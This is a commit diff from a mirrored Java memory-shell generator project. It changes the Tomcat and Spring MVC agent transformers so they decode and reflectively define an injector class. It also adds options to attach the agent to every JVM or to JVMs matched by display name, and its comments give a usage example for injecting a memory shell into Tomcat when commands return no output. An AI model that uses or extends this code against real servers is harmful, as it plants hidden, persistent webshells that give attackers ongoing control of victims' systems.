mirror of
https://github.com/pen4uin/java-memshell-generator.git
synced 2026-09-22 01:30:43 +08:00
优化 java agent 马参数选项,贴合实战场景(命令执行无回显)
This commit is contained in:
@@ -17,6 +17,7 @@ import java.lang.reflect.Method;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
import java.security.ProtectionDomain;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
|
||||
public class SpringMVCAgentTransformer implements ClassFileTransformer {
|
||||
@@ -59,7 +60,7 @@ public class SpringMVCAgentTransformer implements ClassFileTransformer {
|
||||
" } catch (Throwable e) {\n" +
|
||||
" Class base64Clazz = Class.forName(\"java.util.Base64\");\n" +
|
||||
" Object decoder = base64Clazz.getMethod(\"getDecoder\", null).invoke(base64Clazz, null);\n" +
|
||||
" byteArray = (byte[]) base64Clazz.getMethod(\"decode\", new Class[]{byte[].class}).invoke(decoder, new Object[]{injectorCode});\n" +
|
||||
" byteArray = (byte[]) decoder.getClass().getMethod(\"decode\", new Class[]{String.class}).invoke(decoder, new Object[]{injectorCode});\n" +
|
||||
" }\n" +
|
||||
" java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[0], Thread.currentThread().getContextClassLoader());\n" +
|
||||
" java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{byte[].class, int.class, int.class});\n" +
|
||||
@@ -132,22 +133,45 @@ public class SpringMVCAgentTransformer implements ClassFileTransformer {
|
||||
|
||||
}
|
||||
|
||||
/*
|
||||
参数说明见 TomcatAgentTransformer
|
||||
*/
|
||||
public static void main(String[] args) throws Exception {
|
||||
String jvmProcessId = null;
|
||||
if (args.length == 0) {
|
||||
// 列出所有 pid
|
||||
listAllJvmPids();
|
||||
} else {
|
||||
try {
|
||||
Integer.parseInt(args[0]);
|
||||
jvmProcessId = args[0];
|
||||
attachAgentToTargetJvm(jvmProcessId);
|
||||
} catch (NumberFormatException e) {
|
||||
throw new IllegalArgumentException("Argument must be an integer representing a JVM process ID");
|
||||
}
|
||||
else if (args.length == 1) {
|
||||
String arg = args[0];
|
||||
if (arg.equalsIgnoreCase("all")) {
|
||||
for (String jvmProcessId : getAllJvmPids()) {
|
||||
attachAgentToTargetJvm(jvmProcessId);
|
||||
}
|
||||
}
|
||||
else {
|
||||
try {
|
||||
Integer.parseInt(arg);
|
||||
attachAgentToTargetJvm(arg);
|
||||
}
|
||||
catch (NumberFormatException e) {
|
||||
for (String jvmProcessId : getJvmPidsByDisplayName(arg)) {
|
||||
attachAgentToTargetJvm(jvmProcessId);
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
throw new IllegalArgumentException("Too many arguments. Expected none, 'all', a JVM process ID, or a displayName.");
|
||||
}
|
||||
}
|
||||
|
||||
public static List<String> getAllJvmPids() throws Exception {
|
||||
List<String> pids = new ArrayList<>();
|
||||
for (Object vm : vms) {
|
||||
Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id");
|
||||
String id = (String) getId.invoke(vm);
|
||||
pids.add(id);
|
||||
}
|
||||
return pids;
|
||||
}
|
||||
|
||||
public static void listAllJvmPids() throws Exception {
|
||||
for (Object vm : vms) {
|
||||
@@ -159,6 +183,23 @@ public class SpringMVCAgentTransformer implements ClassFileTransformer {
|
||||
}
|
||||
}
|
||||
|
||||
public static List<String> getJvmPidsByDisplayName(String displayName) throws Exception {
|
||||
List<String> pids = new ArrayList<>();
|
||||
for (Object vm : vms) {
|
||||
Method displayNameMethod = virtualMachineDescriptorClass.getMethod("displayName");
|
||||
String currentDisplayName = (String) displayNameMethod.invoke(vm);
|
||||
System.out.println(currentDisplayName);
|
||||
System.out.println(displayName);
|
||||
System.out.println();
|
||||
if (currentDisplayName.toLowerCase().contains(displayName.toLowerCase())) {
|
||||
Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id");
|
||||
String id = (String) getId.invoke(vm);
|
||||
pids.add(id);
|
||||
}
|
||||
}
|
||||
return pids;
|
||||
}
|
||||
|
||||
private static void attachAgentToTargetJvm(String targetPID) throws Exception {
|
||||
String agentFilePath = new File(SpringMVCAgentTransformer.class.getProtectionDomain().getCodeSource().getLocation().getPath()).getCanonicalPath();
|
||||
infoLog("Current agent path: " + agentFilePath);
|
||||
|
||||
@@ -17,6 +17,7 @@ import java.lang.reflect.Method;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
import java.security.ProtectionDomain;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
|
||||
public class TomcatAgentTransformer implements ClassFileTransformer {
|
||||
@@ -136,22 +137,55 @@ public class TomcatAgentTransformer implements ClassFileTransformer {
|
||||
|
||||
}
|
||||
|
||||
/*
|
||||
使用方法:
|
||||
java -jar jmg-agent.jar // 列出所有的 JVM 进程 ID
|
||||
java -jar jmg-agent.jar all // 将 agent 注入到所有 JVM 进程
|
||||
java -jar jmg-agent.jar [pid] // 将 agent 注入到指定的 JVM 进程,其中 [pid] 是 JVM 进程的 ID
|
||||
java -jar jmg-agent.jar [displayName] // 将 agent 注入到所有 displayName 包含 [displayName] 字符串的 JVM 进程
|
||||
*/
|
||||
public static void main(String[] args) throws Exception {
|
||||
String jvmProcessId = null;
|
||||
// 无参数 - 列出所有 JVM 进程 ID
|
||||
if (args.length == 0) {
|
||||
// 列出所有 pid
|
||||
listAllJvmPids();
|
||||
} else {
|
||||
try {
|
||||
Integer.parseInt(args[0]);
|
||||
jvmProcessId = args[0];
|
||||
} else if (args.length == 1) {
|
||||
String arg = args[0];
|
||||
// "all",将 agent 注入到所有 JVM 进程(试验性功能,缺少实战验证,所以自行编译使用)
|
||||
if (arg.equalsIgnoreCase("all")) {
|
||||
for (String jvmProcessId : getAllJvmPids()) {
|
||||
attachAgentToTargetJvm(jvmProcessId);
|
||||
} catch (NumberFormatException e) {
|
||||
throw new IllegalArgumentException("Argument must be an integer representing a JVM process ID");
|
||||
}
|
||||
}
|
||||
// JVM 进程 ID,将 agent 注入到指定的 JVM 进程
|
||||
else {
|
||||
try {
|
||||
Integer.parseInt(arg);
|
||||
attachAgentToTargetJvm(arg);
|
||||
} catch (NumberFormatException e) {
|
||||
/*
|
||||
WHY: 解决命令执行无回显、但又不想注入到所有 JVM 进程(比参数 'all' 更优雅一点)
|
||||
WHAT:不是 JVM 进程 ID,将其视为 displayName,并将 agent 注入到所有 displayName 包含该字符串的 JVM 进程
|
||||
HOW: tomcat -> org.apache.catalina.startup.Bootstrap,可使用 java -jar jmg-agent.jar catalina 注入内存马
|
||||
*/
|
||||
for (String jvmProcessId : getJvmPidsByDisplayName(arg)) {
|
||||
attachAgentToTargetJvm(jvmProcessId);
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
throw new IllegalArgumentException("Too many arguments. Expected none, 'all', a JVM process ID, or a displayName.");
|
||||
}
|
||||
}
|
||||
|
||||
public static List<String> getAllJvmPids() throws Exception {
|
||||
List<String> pids = new ArrayList<>();
|
||||
for (Object vm : vms) {
|
||||
Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id");
|
||||
String id = (String) getId.invoke(vm);
|
||||
pids.add(id);
|
||||
}
|
||||
return pids;
|
||||
}
|
||||
|
||||
public static void listAllJvmPids() throws Exception {
|
||||
for (Object vm : vms) {
|
||||
@@ -163,6 +197,23 @@ public class TomcatAgentTransformer implements ClassFileTransformer {
|
||||
}
|
||||
}
|
||||
|
||||
public static List<String> getJvmPidsByDisplayName(String displayName) throws Exception {
|
||||
List<String> pids = new ArrayList<>();
|
||||
for (Object vm : vms) {
|
||||
Method displayNameMethod = virtualMachineDescriptorClass.getMethod("displayName");
|
||||
String currentDisplayName = (String) displayNameMethod.invoke(vm);
|
||||
System.out.println(currentDisplayName);
|
||||
System.out.println(displayName);
|
||||
System.out.println();
|
||||
if (currentDisplayName.toLowerCase().contains(displayName.toLowerCase())) {
|
||||
Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id");
|
||||
String id = (String) getId.invoke(vm);
|
||||
pids.add(id);
|
||||
}
|
||||
}
|
||||
return pids;
|
||||
}
|
||||
|
||||
private static void attachAgentToTargetJvm(String targetPID) throws Exception {
|
||||
String agentFilePath = new File(TomcatAgentTransformer.class.getProtectionDomain().getCodeSource().getLocation().getPath()).getCanonicalPath();
|
||||
infoLog("Current agent path: " + agentFilePath);
|
||||
|
||||
Reference in New Issue
Block a user